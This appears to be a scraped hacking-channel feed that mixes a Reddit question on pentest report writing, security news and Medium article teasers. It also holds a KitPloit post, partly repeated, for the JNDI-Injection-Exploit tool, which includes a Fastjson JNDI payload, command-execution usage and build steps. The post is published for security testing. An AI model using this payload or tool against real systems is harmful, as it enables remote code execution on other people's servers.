What tips would you give to somone who is learning to write reports that you wish you knew when you started
https://www.reddit.com/r/Pentesting/comments/t10pwi/what_tips_would_you_give_to_somone_who_is/

Some background I recently started as Consultant and I am currently in training, today I started with writing my first report. Currently my report looks horibble but hopefully the next one I can improve. The report is training data so it won't go out to a client submitted by /u/2X2Dragon (https://www.reddit.com/user/2X2Dragon)
[link] (https://www.reddit.com/r/Pentesting/comments/t10pwi/what_tips_would_you_give_to_somone_who_is/) [comments] (https://www.reddit.com/r/Pentesting/comments/t10pwi/what_tips_would_you_give_to_somone_who_is/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Hacking collective Anonymous declares 'cyber war' against Vladimir Putin's government before announcing they have 'taken down' website of Kremlin-backed TV channel RT

https://external-preview.redd.it/SwXoR5XHdt4PVg7yCc3VTVHzakSfYUg2KXRf7_ZFNiE.jpg?width=320&crop=smart&auto=webp&s=a6b58c14e35869c05a298f6262c021ea61b1bb99 submitted by /u/maemran
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Recovering deleted files on a memory card

https://cdn-images-1.medium.com/max/1280/1*JYWHNrC58DiJMtMS2ZrHLQ.jpeg
More :

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hooking Control Flow Guard (CFG) for Fun and Profit

https://cdn-images-1.medium.com/max/2600/0*AvQAbPcZUpPet5Lg
A Public Update on BDF-ng Development

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Security Explained: Game Launchers & System Privilege

https://cdn-images-1.medium.com/max/1920/0*nQzjyiXRQjaFidil.jpg
There’s no better time than to explain why this increase is happening, and why you should get on board before hackers get ahead.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cybersecurity Sessions recap: Artificial Engagement and Ad Fraud

https://cdn-images-1.medium.com/max/600/0*TJ08GRnDR6qphkrc.jpg
Continue reading on Netacea »

___________________________
@hacking_Attack
@Hacking_Video

10 ways to get RCE From LFI

this illustrates multiple ways to upgrade your LFI to RCEContinue reading on Medium »
Read more...

KitPloit - PenTest Tools!
JNDI-Injection-Exploit - A Tool Which Generates JNDI Links Can Start Several Servers To Exploit JNDI Injection Vulnerability

http://1.bp.blogspot.com/-I-g_09Abz74/Yd2ZN4VWn_I/AAAAAAAA8rs/MXYARf2YRQQYSyTVdh-1FG4e7JKi8KF9wCK4BGAYYCw/w640-h194/JNDI-Injection-Exploit_1_1-731466.png JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server.
Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.

For example, this is a Fastjson vul-poc: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability. DisclaimerAll information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. UsageRun as $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]where:

*
-C - command executed in the remote classfile.

(optional , default command is "open /Applications/Calculator.app")

*
-A - the address of your server, maybe an IP address or a domain.

(optional , default address is the first network interface address)
Points for attention:

*
make sure your server's ports (1099, 1389, 8180) are available .

or you can change the default port in the run.ServerStart class line 26~28.

*
your command is passed to Runtime.getRuntime().exec() as parameters,

so you need to ensure your command is workable in method exec().

Command in bash like "bash -c ...." need to add Double quotes. ExamplesLocal demo:

1.
Start the tool like this: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"Screenshot: http://1.bp.blogspot.com/-I-g_09Abz74/Yd2ZN4VWn_I/AAAAAAAA8rs/MXYARf2YRQQYSyTVdh-1FG4e7JKi8KF9wCK4BGAYYCw/w640-h194/JNDI-Injection-Exploit_1_1-731466.png 2.
Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection.

In this example, it looks like this: public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}then when we run this code, the command will be executed ,

and the log will be printed in shell: http://4.bp.blogspot.com/-uidRlq11TIE/Yd2ZOVJ__AI/AAAAAAAA8r0/_PA7SdN1QzgEHKpKcXc7ndFpm48UNKn5gCK4BGAYYCw/w640-h256/JNDI-Injection-Exploit_2_2-732496.png InstallationWe can select one of the two methods to get the jar.

1.
Download the latest jar from Realease.

2.
Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+). $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git$ cd JNDI-Injection-Exploit$ mvn clean package -DskipTestsTo do* (Done)Combine this project and JNDI-Injection-Bypass to generate workable links when trustURLCodebase is false in higher versions of JDK by default.
* … ... Download JNDI-Injection-Exploit

___________________________
@hacking_Attack
@Hacking_Video

Golden/Silver Ticket Attack | Kerberos | Active Directory |
https://medium.com/@Medusa0xf/golden-silver-ticket-attack-kerberos-active-directory-8aa3df010398?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

In this blog, we are going to talk about golden and silver ticket attacks.Continue reading on Medium » (https://medium.com/@Medusa0xf/golden-silver-ticket-attack-kerberos-active-directory-8aa3df010398?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

10 ways to get RCE From LFI
https://medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

this illustrates multiple ways to upgrade your LFI to RCEContinue reading on Medium » (https://medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

JNDI-Injection-Exploit - A Tool Which Generates JNDI Links Can Start Several Servers To Exploit JNDI Injection Vulnerability
http://www.kitploit.com/2022/02/jndi-injection-exploit-tool-which.html

___________________________
@hacking_Attack
@Hacking_Video

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals (https://github.com/mbechler/marshalsec) and modified further to link with HTTP server.
Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability. For example, this is a Fastjson vul-poc: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true} We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability. Disclaimer All information and code is provided solely for educational purposes and/or testing (https://www.kitploit.com/search/label/Testing) your own systems for these vulnerabilities. Usage Run as $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote (https://www.kitploit.com/search/label/Remote) classfile. (optional , default command is "open /Applications/Calculator.app") -A - the address of your server, maybe an IP address or a domain. (optional , default address is the first network interface address) Points for attention: make sure your server's ports (1099, 1389, 8180) are available . or you can change the default port in the run.ServerStart class line 26~28. your command is passed to Runtime.getRuntime().exec() as parameters, so you need to ensure your command is workable in method exec(). Command in bash like "bash -c ...." need to add Double quotes. Examples Local demo: Start the tool like this: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1" Screenshot:

___________________________
@hacking_Attack
@Hacking_Video

Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application (https://www.kitploit.com/search/label/Vulnerable%20Application) which can be attacked by JNDI injection. In this example, it looks like this: public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
} then when we run this code, the command will be executed , and the log will be printed in shell:

___________________________
@hacking_Attack
@Hacking_Video